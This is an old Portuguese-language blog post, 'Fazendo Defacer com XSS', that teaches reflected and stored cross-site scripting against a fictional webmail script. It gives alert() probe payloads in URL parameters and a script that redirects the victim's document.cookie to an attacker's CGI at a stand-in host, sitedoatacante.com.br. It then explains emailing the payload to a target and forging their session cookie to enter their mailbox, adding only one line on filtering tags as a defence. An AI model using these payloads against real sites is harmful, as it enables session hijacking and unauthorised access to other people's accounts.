terça-feira, 27 de março de 2012

Fazendo Defacer com XSS

Cross site scripting, também conhecido como XSS, é uma falha muito conhecida e utilizada por hackers para obter vantagens em um sistema baseado em Web. Mesmo esta técnica já sendo de conhecimento geral, uma boa parte dos sistemas ainda está sujeito à falhas desse gênero.
XSS é uma técnica utilizada para roubar sessões (cookies) em uma aplicação web. Ela consiste na injeção de tags html e comandos Java script em alguma função de um sistema, sendo assim tornando possível obter sessões de outros usuários sem a necessidade de se ter autorização para tal.
Em outras palavras: Seria possível entrar em um webmail, fórum, livro de visitas e até mesmo um banco on-line sem a necessidade de se saber a senha do alvo. Esta técnica oferece alto risco a um usuário alvo tendo em vista que informações sensíveis poderão ser descobertas caso a falha exista.
Para utilizar tal técnica, será necessário um browser que suporte Java script. Também se faz necessário que o alvo a ser testado tenha páginas dinâmicas (podem ser dos mais diversos tipos: asp, jsp ,php , perl).
Suponha que o site:
http://www.jeehmedaban.com.br/email/mail.pl?acao=leremail&login=1

Analisando este site fictício, pode-se observar que a partir do mail.pl é passado dois parâmetros para a função:
acao=inbox e login=1

Como a técnica consiste em inserir tags html, a forma de procedimento a verificar a falha seria:
http://www.jeehmedaban.com.br/email/mail.pl?acao=leremail< script >alert(? Vulnerável a XSS!? )&login=1

Outra forma seria:
http://www.jeehmedaban.com.br/email/mail.pl?acao=&lt; script >alert (?Vulnerível a XSS!?)< /script >&login=1

Poderia também utilizar a tag Java script :
<script >alert(document.cookie) < /script >

O que retornaria o cookie da sessão aberta, porém este cookie seria da sessão do atacante, o que não teria serventia.
Então, como pegar o cookie de outras pessoas?
Neste caso, seria possível pegar a sessão de outras pessoas quando: elas estivessem logadas no sistema e estivessem lendo seus e-mails.

Envia-se um e-mail para o alvo colocando as tags de Java Script fazendo com que este cookie seja enviado para algum outro lugar. Ou seja: O cookie seria enviado para um outro sistema, do atacante quando a mensagem fosse aberta e sem que o usuário notasse, ele seria enviado a um sistema web (muito simples de ser feito) contendo o cookie da sessão do alvo.
No e-mail especialmente feito para se roubar a sessão, poderia-se colocar a seguinte tag:

< script > document.location = 'http://www.sitedoatacante.com.br/programa.cgi?cookie=&#39; + document.cookie;
< /script >

Este script CGI teria como função apenas receber o numero do cookie do alvo. Após isso o atacante, tendo o número da sessão poderia construir um cookie manualmente colocando as informações adquiridas e sem a necessidade de logar, entrar no e-mail do alvo.
A melhor forma para evitar tal seria que o sistema não suportasse ou filtrasse as tags de html e Java Script, tendo em vista que é possível em uma tag html, inserir um comando Java Script. Exemplo:

< a >teste
Xss< /a >

OBS: *todas as < > sem espaços

0 comentários:

Postar um comentário